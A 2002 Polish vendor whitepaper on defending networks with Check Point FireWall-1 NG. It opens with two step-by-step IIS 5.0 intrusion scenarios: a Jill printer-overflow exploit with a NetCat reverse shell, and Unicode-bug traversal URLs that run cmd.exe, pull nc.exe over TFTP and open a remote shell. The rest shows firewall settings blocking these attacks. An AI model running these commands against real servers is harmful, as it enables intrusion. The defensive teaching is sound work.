PROFESJONALNE SYSTEMY BEZPIECZEŃSTWA Wykrrywani ie,, analiza i prrzeci iwdziałanie attakom hackerrów w Check Pointt FirreWal ll--1 Nextt Generratti ion ((NG)) Opracował: Mariusz Stawowski CCSA/CCSE (4.x, NG) Podstawą bezpieczeństwa systemu informatycznego jest dobrze opracowany projekt zabezpieczeń, wdrożony przez specjalistów z użyciem właściwie dobranych technologii renomowanych producentów, zarządzany przez wykwalifikowaną kadrę informatyczną. Samo zastosowanie nawet bardzo kosztownych produktów zabezpieczeń niczego w tym zakresie nie gwarantuje. Projekt systemu zabezpieczeń powstaje w oparciu o ogólną teorię zabezpieczeń (m.in. podstawowe zasady polityki bezpieczeństwa), wyniki przeprowadzonej analizy ryzyka i specyfikacji wymagań bezpieczeństwa, wymagania specyficzne dla ochranianego systemu, a także wymagania funkcjonalno-techniczne uzgodnione z właścicielem tego systemu (zwykle zleceniodawcą projektu). Projektując zabezpieczenia systemu informatycznego należy rozumieć, jakie istnieją rzeczywiste zagrożenia w tym systemie oraz w jaki sposób mogą one wystąpić. Projektant zabezpieczeń powinien postawić się w roli hakera i przeanalizować potencjalne możliwości wykonania ataku. Do tego celu wymagana jest znajomość technik włamań i innych rodzajów ataków. Za najgroźniejsze zagrożenie uznaje się obecnie włamanie. Daje ono, bowiem hakerowi bardzo szerokie możliwości działania (m.in. ujawnienie, modyfikacja lub zniszczenie danych, zablokowanie usług, instalacja ukrytego wejścia do systemu, przygotowanie środowiska do kontynuowania ataków na inne systemy). Dokument przedstawia praktyczne możliwości wykorzystania systemu zabezpieczeń Check Point FireWall-1 NG w zakresie wykrywania, analizy i przeciwdziałania atakom hakerów. Występują trzy podstawowe techniki włamań do systemów komputerowych, które należy uwzględnić w projekcie i wdrożeniu zabezpieczeń: exploit wykorzystanie istniejącego błędu systemu operacyjnego lub oprogramowania (np. serwera Web, serwera poczty) w celu przejęcia kontroli nad systemem, worm, trojan przesłanie do sieci wewnętrznej odpowiednio przygotowanego programu (np. pocztą elektroniczną), który po uruchomieniu skopiuje i wyśle na zewnątrz dane lub otworzy/umożliwi połączenie do sieci zewnętrznej, maskarada dostęp do zasobów systemu informatycznego poprzez podszycie się pod legalnego użytkownika (np. z użyciem odgadniętego hasła aplikacji, RAS lub VPN). Przed przystąpieniem do omawiania technologii Check Point FireWall-1 NG zostaną przedstawione rzeczywiste scenariusze włamań do systemów komputerowych. Scenariusze te zostały opracowane na podstawie prawdziwych włamań wykonanych przez CLICO w ramach realizowanych audytów bezpieczeństwa. Zastosowane narzędzia są ogólnie dostępne w Internecie. Ważne jest, aby analizując scenariusze włamań zwrócić uwagę i zrozumieć, jakie konsekwencje może mieć jeden błąd bezpieczeństwa serwera sieciowego. Dobrze opracowana konfiguracja zabezpieczeń systemu informatycznego powinna uwzględniać takie sytuacje i być na nie przygotowana. CLICO Sp. z o.o., Al. 3-go Maja 7, 30-063 Kraków; Tel: 12 6325166; 12 2927522... 24 ; Fax: 12 6323698; E-mail: support@clico.pl, orders@clico.pl.; http://www.clico.pl
Scenariusz 1. Włamanie do serwera WWW (MS IIS 5.0) z wykorzystaniem błędu Remote Printer Overflow 2/ Uruchomienie Exploit (Jill) na serwer WWW (80/TCP) IIS 5.0 (Windows 2000) 3/ Połączenie zwrotne na port 53/TCP (konsola administratora Windows 2000) FIREWALL 1/ Uruchomienie NetCat w trybie nasłuchu na porcie 53/TCP Stacja audytora (Linux) 1. Na stacji audytora otwieramy konsolę CMD i uruchamiamy aplikację NetCat (nc.exe) w trybie nasłuchu na porcie 53/tcp (typowy port serwera dns): nc -s 10.1.2.77 -l -p 53 gdzie 10.1.2.77 to adres IP stacji audytora 2. Na drugiej konsoli CMD uruchamiamy program exploit (jill-win32.exe): jill-win32 192.168.203.100 80 10.1.2.77 53 gdzie 192.168.203.100 to atakowany serwer WWW (MS IIS 5.0) Poprawne wykonanie ataku sygnalizowane jest przez komunikat: iis5 remote.printer overflow. dark spyrit <dspyrit@beavuh.org> / beavuh labs. Connected. sent... you may need to send a carriage on your listener if the shell doesn't appear. have fun! 2002 CLICO SP. Z O.O. WSZELKIE PRAWA ZASTRZEŻONE 2
3. Po upływie kilku-dziecięciu sekund na stacji audytora otrzymujemy konsolę serwera WWW. 2002 CLICO SP. Z O.O. WSZELKIE PRAWA ZASTRZEŻONE 3
Scenariusz 2. Włamanie do serwera WWW (MS IIS 5.0) z wykorzystaniem błędu UNICODE BUG 1. Kontrola podatności serwera na atak: http://192.168.203.100/scripts/.%252e/.%252e/winnt/system32/cmd.exe?/c+dir Inne możliwe testy: http://192.168.203.100/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir http://192.168.203.100/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\ http://192.168.203.100/msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.ex e?/c+dir 2. Penetracja systemu, np. http://192.168.203.100/scripts/.%252e/.%252e/winnt/system32/cmd.exe?/c+dir+c: http://192.168.203.100/scripts/.%252e/.%252e/winnt/system32/cmd.exe?/c+dir+.. http://192.168.203.100/scripts/.%252e/.%252e/winnt/system32/net.exe?view http://192.168.203.100/scripts/.%252e/.%252e/winnt/system32/ipconfig.exe?/all 2002 CLICO SP. Z O.O. WSZELKIE PRAWA ZASTRZEŻONE 4
3. Przejecie kontroli nad systemem. 3.1. Kopiujemy cmd.exe do katalogu Scripts serwera WWW pod nazwą run.exe. http://192.168.203.100/scripts/.%252e/.%252e/winnt/system32/cmd.exe?/c+copy+..\..\wi nnt\system32\cmd.exe+run.exe 3.2. Zapisujemy na serwerze plik unicode.bat o zawartości: tftp -i Y.Y.Y.Y GET nc.exe get.exe gdzie Y.Y.Y.Y to adres IP serwera TFTP, na którym umieszczono aplikację NetCat Dokonujemy tego wpisując adres URL: http://192.168.203.100/scripts/run.exe?/c+echo+tftp -i 10.1.2.77 GET nc.exe get.exe>unicode.bat 2002 CLICO SP. Z O.O. WSZELKIE PRAWA ZASTRZEŻONE 5
3.3. Na lokalnym serwerze (IP: 10.1.2.77) uruchamiamy serwer TFTP i umieszczamy w jego katalogu program NetCat (nc.exe). 2002 CLICO SP. Z O.O. WSZELKIE PRAWA ZASTRZEŻONE 6
3.4. Z lokalnego serwera TFTP kopiujemy plik nc.exe do katalogu Scripts na serwerze WWW i zapisujemy go pod nazwą get.exe. Dokonujemy tego przy użyciu przeglądarki WWW, uruchamiając skrypt unicode.bat. Wpisujemy adres URL: http://192.168.203.100/scripts/run.exe?/c+unicode.bat 2002 CLICO SP. Z O.O. WSZELKIE PRAWA ZASTRZEŻONE 7
3.5. Tworzymy skrypt otwierający NetCat na wybranym porcie (np. 53/tcp) i uruchamiamy. Dokonujemy tego przy użyciu przeglądarki WWW, wpisując adres URL: http://192.168.203.100/scripts/run.exe?/c+echo+get.exe -l -p 53 -t -e run.exe>unicode2.bat http://192.168.203.100/scripts/run.exe?/c+unicode2.bat 2002 CLICO SP. Z O.O. WSZELKIE PRAWA ZASTRZEŻONE 8
6. Przy użyciu klienta Telnet logujemy się na porcie 53tcp i uzyskujemy konsolę systemu Windows NT: telnet 192.168.203.100 53 2002 CLICO SP. Z O.O. WSZELKIE PRAWA ZASTRZEŻONE 9
Opracowanie projektu zabezpieczeń Analizując przedstawione scenariusze włamań i łatwość ich wykonania można w pierwszej chwili dojść do wniosku, że nigdy nie uda się skutecznie ochronić zasobów systemu informatycznego. Nie jest to prawda. Dobrze opracowane, skonfigurowane i zarządzane zabezpieczenia stanowią skuteczną ochronę przed atakami hakerów i innymi zagrożeniami. Ważne jest, aby bezpieczeństwo systemu utrzymywane było przez wszystkie warstwy ochrony tzn. zabezpieczenia sieciowe, zabezpieczenia systemu operacyjnego, zabezpieczenia aplikacji i baz danych. Warstwy zabezpieczeń powinny przy tym uzupełniać i ubezpieczać się wzajemnie. W zakresie ochrony przed atakami hakerów istotną rolę dla bezpieczeństwa systemu informatycznego odgrywa technologia zabezpieczeń sieciowych, która stanowi pierwszą warstwę ochrony. Względem tych zabezpieczeń stawiane są następujące podstawowe wymagania: kompletny zakres ochrony (m.in. Firewall, IDS 1, Content Control 2 ), skuteczność i wydajność (m.in. Firewall skutecznie kontroluje ruch w sieci i nie powoduje przy tym zakłóceń funkcjonowania aplikacji, IDS w czasie wzrostu obciążenia w sieci nie gubi ramek i wykrywa ataki), zarządzanie bezpieczeństwa (m.in. analiza, monitorowanie, alarmowanie, raporty). Typowy schemat zabezpieczeń systemu dostępu do Internetu opartych o technologię Check Point FireWall-1 został przedstawiony na poniższym rysunku. Strefa DMZ Internet FireWall-1 NG Sieć prywatna System wykrywania intruzów (np. Intrusion SecureNet) ALARM!!! ALARM!!! Konsola FireWall-1 NG W zakresie przeciwdziałania atakom hakerów szczególną uwagę należy zwrócić na następujące aspekty bezpieczeństwa: szczelna polityka bezpieczeństwa (np. serwer w strefie DMZ posiada dostęp do innych stref bezpieczeństwa tylko dla protokołów, które są wymagane do jego poprawnego funkcjonowania), kontrola protokołów dostępu do newralgicznych usług systemu informatycznego realizowana na poziomie aplikacji (m.in. kontrola poprawności poleceń protokołów i formatu danych), monitorowanie systemu i alarmowanie odbywa się z użyciem dobrej klasy zabezpieczeń Firewall i IDS (np. Intrusion SecureNet). 1 Intrusion Detection System system wykrywania intruzów (wykrywanie prób penetracji, włamań i innych rodzajów ataków m.in. D/DoS) 2 system kontroli zawartości (wykrywanie wirusów, robaków, koni trojańskich i innych groźnych aplikacji) 2002 CLICO SP. Z O.O. WSZELKIE PRAWA ZASTRZEŻONE 10
Konfiguracja Check Point FireWall-1 NG Kontrola IP Spoofing, SYN Flood i MAD Wykrywanie i blokowanie ataków opartych na IP Spoofing 3 bezpośrednio na interfejsach sieciowych Firewall Gateway. jest realizowane Konfiguracja kontroli IP Spoofing dla interfejsu sieciowego Firewall zależy od jego usytuowania w strukturze sieci. Dla poszczególnych interfejsów Firewall Gateway należy ustalić w zakładce Topology, jakie źródłowe adresy IP są na nich dozwolone (patrz rysunek): 1. External interfejs zewnętrzny (dozwolone są wszystkie adresy IP poza adresami, które należą do sieci wewnętrznych), 2. Internal interfejs wewnętrzny (dozwolone są wyłącznie adresy IP z sieci wewnętrznych, bądź innych wyznaczonych jako Specific ), 3. Anti-Spoofing rejestrowanie zdarzeń (logowanie) i alarmowanie. 3 IP Spoofing polega na wysyłaniu pakietów ze sfałszowanym adresem źródłowym tak, aby ich odbiorca sądził, że pochodzą od innego, z reguły bardziej uprzywilejowanego nadawcy. Ochrona przez atakami wykorzystującymi technikę IP Spoofing na FireWall-1 jest skuteczna na tyle, na ile umożliwia to IPv4 (tzn. wykrywanie niedozwolonych adresów źródłowych pomiędzy interfejsami Firewall). Dopiero IPv6 przewiduje zastosowanie w tym zakresie wiarygodnych zabezpieczeń. Na FireWall-1 można dodatkowo zastosować techniki VPN oraz uwierzytelnianie użytkowników usług. 2002 CLICO SP. Z O.O. WSZELKIE PRAWA ZASTRZEŻONE 11
Konfiguracja mechanizmu wykrywania i przeciwdziałania atakom typu SYN Flood 4 odbywa się w zakładce SYNDefender w definicji obiektu FireWall-1 Gateway. FireWall-1 udostępnia dwie techniki blokowania tego ataku: SYN relay System zaporowy odbiera nadchodzące pakiety SYN i w imieniu serwera TCP potwierdza nawiązanie komunikacji sieciowej z klientem TCP. Po potwierdzeniu przez klienta sesji TCP, FireWall-1 przekazuje nawiązaną już sesję do serwera. Passive SYN Gateway FireWall-1 biernie obserwuje przebieg nawiązywania komunikacji TCP. W razie, gdy potwierdzenie lub odrzucenie komunikacji nie nadchodzi po relatywnie krótkim czasie (domyślnie 10 sekund), system zaporowy sam informuje serwer TCP o odrzuceniu komunikacji. 4 SYN Flood polega na zalewaniu określonego portu TCP dużą liczbą pakietów SYN, w których adres źródłowy został sfałszowany (ang. spoofing) na adres IP komputera, który w rzeczywistości nie istnieje. W konsekwencji bufor serwera działającego na tym numerze portu zastaje przepełniony i serwer nie jest w stanie obsługiwać żadnych klientów, ponieważ oczekuje na potwierdzenie lub odrzucenie komunikacji TCP zainicjowanej przesłaniem pakietów SYN. 2002 CLICO SP. Z O.O. WSZELKIE PRAWA ZASTRZEŻONE 12
Moduł MAD (Malicious Activity Detection) odpowiada za wykrywanie podstawowych technik wykorzystywanych przez hakerów w trakcie prowadzenia penetracji, włamań i ataków destrukcyjnych (D)DoS. Jest zintegrowany z modułem FireWall-1/VPN-1. MAD został opracowany przez Check Point w ramach projektu Cyber Attack Defence System (CADS). Nie powinien być jednak traktowany jako dedykowany system wykrywania intruzów (tzn. nie jest środkiem zastępczym dla Intrusion SecureNet). Moduł MAD posiada umiejętności wykrywania następujących technik: SYN Flood, IP Spoofing, Port Scanning, Blocked Connection Port Scanning, Successive Multiple Connections, Login Failure, Successive Alerts, Land Attack. Konfiguracja MAD jest zapisana w pliku cpmad_config.conf na stacji zarządzającej. Moduł MAD jest domyślnie uaktywniony za pomocą parametru: MAD_system_mode = on. Ustawienia domyślne konfiguracji MAD mogą zostać dostosowane do specyfiki chronionego systemu (np. w systemach o wysokim stopniu zagrożenia mogą zostać zaostrzone). Dla przykładu, wykrywanie skanowania portów #port_scanning można ustawić tak, aby generowanie alarmu następowało w sytuacji, gdy ten sam komputer w czasie 60 sekund wykona 5 prób dostępu do różnych portów serwera: MAD_port_scanning_mode = on MAD_port_scanning_time_interval = 60 MAD_port_scanning_repetitions = 5 MAD_port_scanning_action = alert 2002 CLICO SP. Z O.O. WSZELKIE PRAWA ZASTRZEŻONE 13
Praktyczny test MAD Uruchomienie SuperScan (skanowanie portów TCP) Reakcja zabezpieczeń 2002 CLICO SP. Z O.O. WSZELKIE PRAWA ZASTRZEŻONE 14
Ochrona poczty Poczta elektroniczna jest w większości instytucji powszechnie wykorzystywaną usługą Internetu, szczególnie w zakresie wymiany informacji z klientami i partnerami handlowymi. Usługa ta stwarza jednak wiele problemów w zakresie bezpieczeństwa, m.in.: serwer poczty może zostać zaatakowany przez hakera, a następnie posłużyć do włamania do sieci prywatnej, serwer poczty może zostać zablokowany za pomocą ataku Denial of Service (DoS), bądź ulec awarii, wiele groźnych aplikacji (np. wirusy, robaki, konie trojańskie) może przedostać się do sieci prywatnej poprzez wiadomości pocztowe, serwer poczty może odebrać wiele niepożądanych przesyłek pocztowych tzw. spamów, serwer poczty może zostać wykorzystany przez hakerów (nazywanych także lamerami) do wysyłania spamów do innych serwerów w Internecie, poufne informacje przesyłane za pomocą poczty mogą zostać odczytane przez osoby nieupoważnione, bądź zmodyfikowane w niepożądany sposób, serwer DNS udostępniający informacje nt. serwera poczty może zostać zablokowany lub ulec awarii. 2002 CLICO SP. Z O.O. WSZELKIE PRAWA ZASTRZEŻONE 15
- alarmowanie 2002 CLICO SP. Z O.O. WSZELKIE PRAWA ZASTRZEŻONE 16
- restrykcje względem wiadomości e-mail 2002 CLICO SP. Z O.O. WSZELKIE PRAWA ZASTRZEŻONE 17
2002 CLICO SP. Z O.O. WSZELKIE PRAWA ZASTRZEŻONE 18
- ukrywanie informacji nt. sieci wewnętrznej 2002 CLICO SP. Z O.O. WSZELKIE PRAWA ZASTRZEŻONE 19
- blokowanie Mail Relaying 2002 CLICO SP. Z O.O. WSZELKIE PRAWA ZASTRZEŻONE 20
- kontrola zawartości wiadomości pocztowych i załączników na dedykowanym serwerze CVP (np. esafe Gateway, Trend Micro VirusWall). 2002 CLICO SP. Z O.O. WSZELKIE PRAWA ZASTRZEŻONE 21
Praktyczny test Reakcja zabezpieczeń 2002 CLICO SP. Z O.O. WSZELKIE PRAWA ZASTRZEŻONE 22
- dostrajanie SMTP Security Server 2002 CLICO SP. Z O.O. WSZELKIE PRAWA ZASTRZEŻONE 23
Kontrola TCP, UDP, ICMP Praktyczny test 2002 CLICO SP. Z O.O. WSZELKIE PRAWA ZASTRZEŻONE 24
Reakcja zabezpieczeń 2002 CLICO SP. Z O.O. WSZELKIE PRAWA ZASTRZEŻONE 25
Kontrola DNS Włączenie kontroli poprawności protokołu DNS: :fw_dns_verification (true) Procedura zmiany parametru FireWall-1 odbywa się w następującej kolejności: 1. Zamykamy konsole GUI. 2. Dokonujemy modyfikacji parametru za pomocą dbedit: F:\>dbedit Enter Server name (ENTER for 'localhost'): Enter User Name: Enter User Password: Please enter a command, -h for help or -q to quit: dbedit> modify properties firewall_properties fw_dns_verification true dbedit> update properties firewall_properties firewall_properties updated successfully. dbedit>quit 3. Otwieramy konsole GUI (Policy Editor), kontrolujemy ustawienie typu protokółu domain_tcp jako DNS_TCP i instalujemy politykę bezpieczeństwa 2002 CLICO SP. Z O.O. WSZELKIE PRAWA ZASTRZEŻONE 26
Praktyczny test Otwarcie połączenia zwrotnego NetCat port 53/tcp (w trakcie ataku przedstawionego wcześniej w scenariuszu 1). Reakcja zabezpieczeń 2002 CLICO SP. Z O.O. WSZELKIE PRAWA ZASTRZEŻONE 27
Kontrola HTTP - włączenie szczegółowej kontroli protokołu HTTP Praktyczny test Wykonanie ataku Jill przedstawionego wcześniej w scenariuszu 1. Reakcja zabezpieczeń 2002 CLICO SP. Z O.O. WSZELKIE PRAWA ZASTRZEŻONE 28
- inspekcja URL (np. blokowanie odwołań do plików systemowych) 2002 CLICO SP. Z O.O. WSZELKIE PRAWA ZASTRZEŻONE 29
- przekierowanie na inną stronę URL Praktyczny test Wykonanie ataku UNICODE przedstawionego wcześniej w scenariuszu 2. Reakcja zabezpieczeń 2002 CLICO SP. Z O.O. WSZELKIE PRAWA ZASTRZEŻONE 30
- dostrajanie HTTP Security Server Analiza logów FireWall-1 Zapis realizacji ataku (scenariusz 2) 2002 CLICO SP. Z O.O. WSZELKIE PRAWA ZASTRZEŻONE 31
Kontrola FTP - izolowanie serwera FTP 2002 CLICO SP. Z O.O. WSZELKIE PRAWA ZASTRZEŻONE 32
Praktyczny test Próba zapisania pliku na serwerze FTP. Reakcja zabezpieczeń - dostrajanie FTP Security Sever 2002 CLICO SP. Z O.O. WSZELKIE PRAWA ZASTRZEŻONE 33
SmartDefence - moduł SmartDefence zarządzany z centralnej konsoli GUI - aktualizacja bazy ataków SmartDefence 2002 CLICO SP. Z O.O. WSZELKIE PRAWA ZASTRZEŻONE 34
- kontrola i blokowanie niepoprawnych pakietów IP i ICMP - ochrona serwerów FTP 2002 CLICO SP. Z O.O. WSZELKIE PRAWA ZASTRZEŻONE 35
- ochrona serwerów HTTP 2002 CLICO SP. Z O.O. WSZELKIE PRAWA ZASTRZEŻONE 36